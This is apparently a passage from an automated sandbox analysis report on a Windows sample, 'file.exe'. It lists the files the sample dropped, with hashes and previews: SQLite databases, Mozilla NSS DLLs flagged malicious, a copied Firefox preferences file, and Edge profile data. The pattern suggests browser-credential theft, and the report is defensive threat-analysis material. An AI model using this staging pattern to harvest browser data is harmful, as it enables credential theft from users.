SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHIJJDGDHDGDAKFIECFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFCGIDAKECGCBGDBAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJDHCFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJJDAEGIDHCBFHJJJEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IEBAAFCAFCBKFHJJJKKFHIDAAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\39682f62-8d23-402a-920c-984481f11481.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44631
Entropy (8bit):	6.095648748461618
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB8wuFhDO6vP6Ov8euC7vEeTpZucGoup1Xl3jVzXr2:z/Ps+wsI7ynEB6P8eGchu3VlXr4CRo1
MD5:	D278655DF1718ACABDDA5767F2795FFB
SHA1:	BE433228F94E5BB1595C2BC00F1E7FCB4EFCE9B9
SHA-256:	6FC9DFC931F45F3E59170FCDC392757F48711D33A810DBD353202C86ACC38BDB
SHA-512:	DDCF53D17C870E14A37CCA7681FD3DBD69DE8FDFCEF569700EED076C118F240470E6CBF2FE3A5D1909A2EA73F1C4642C96D8984102443EDBE206C7597AA4B65D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3d74f55a-9705-4a97-998a-447dd4605174.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090670959472592
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEf6qtbz8hu3VlXr4CRo1
MD5:	19ADF673C8029D8E29217CE156192A4F
SHA1:	851FAF5698763CC80F3692C9CEEDCB57CA717914
SHA-256:	6F6B5B61FF80DC018E10DFD7CA852E5EFE27E1E83B7E79D276F08F52DFEF7D99
SHA-512:	25F16B557A8A9E309EA8F4EA8C6D4173186E62FE6B3DA6DA6B73F4C349A3DA04E6B2E3611947565F23ADCD3C79446BF65DD05C231ED00C175F68B7B3E3261D32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\61303d48-4f8d-4bb3-b32b-081d82fac3b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.095854380570284
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBAwuFhDO6vP6Ov8eG7ZU2LecGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEl6P8e3chu3VlXr4CRo1
MD5:	CEB58600DDB0D816CDA584D18A9EA6BC
SHA1:	3FA19E755B91495D354CB1FAF2B623E8D84B1596
SHA-256:	91D7B32A73A02C1D9CF0C952D4624A276C90319EBF4A92F217ACFE9A955F044F
SHA-512:	B3AB95F7AA40A829B1672563F13DBA7F21A371009EC50C95A4B5C63DDFC90FC43A07FB8681AA7FF84CA94E994980231180B2EAE57784C651EC3EA84A3E6787A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8bf21bdd-621d-4c04-8f73-a8378b210888.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44631
Entropy (8bit):	6.095648748461618
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB8wuFhDO6vP6Ov8euC7vEeTpZucGoup1Xl3jVzXr2:z/Ps+wsI7ynEB6P8eGchu3VlXr4CRo1
MD5:	D278655DF1718ACABDDA5767F2795FFB
SHA1:	BE433228F94E5BB1595C2BC00F1E7FCB4EFCE9B9
SHA-256:	6FC9DFC931F45F3E59170FCDC392757F48711D33A810DBD353202C86ACC38BDB
SHA-512:	DDCF53D17C870E14A37CCA7681FD3DBD69DE8FDFCEF569700EED076C118F240470E6CBF2FE3A5D1909A2EA73F1C4642C96D8984102443EDBE206C7597AA4B65D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6753FC99-E44.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04666899930389986
Encrypted:	false
SSDEEP:	192:YnzQ0pqtmCnOAWV6YaJgA8x5XSggykfhMNNE4hIV/yRQcpN4Bwgk9n8y08Tcm2Rl:ME0ctVMigk9hgUCj4qgE08T2RGOD
MD5:	A3535AC16C573DD5B458D0F14100D9AC
SHA1:	5E0A202DA6CDB4E296D010ADE403E8C99185E56C
SHA-256:	8693B261891C8597BA9B122AC64737DDFDE9ABF7496D9E13209FDABAE18A3DD5
SHA-512:	178D2844F29F960971924E9DC6F54B1881BD1AD9A9E388F0413B8AD36A64796AEB65F2E0CA914B7C338BC1D3F4BC8293393BEA3E5F9F3CA636A8B6555FEE8D23
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".pmysdq20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2......._...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090670959472592
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEf6qtbz8hu3VlXr4CRo1
MD5:	19ADF673C8029D8E29217CE156192A4F
SHA1:	851FAF5698763CC80F3692C9CEEDCB57CA717914
SHA-256:	6F6B5B61FF80DC018E10DFD7CA852E5EFE27E1E83B7E79D276F08F52DFEF7D99
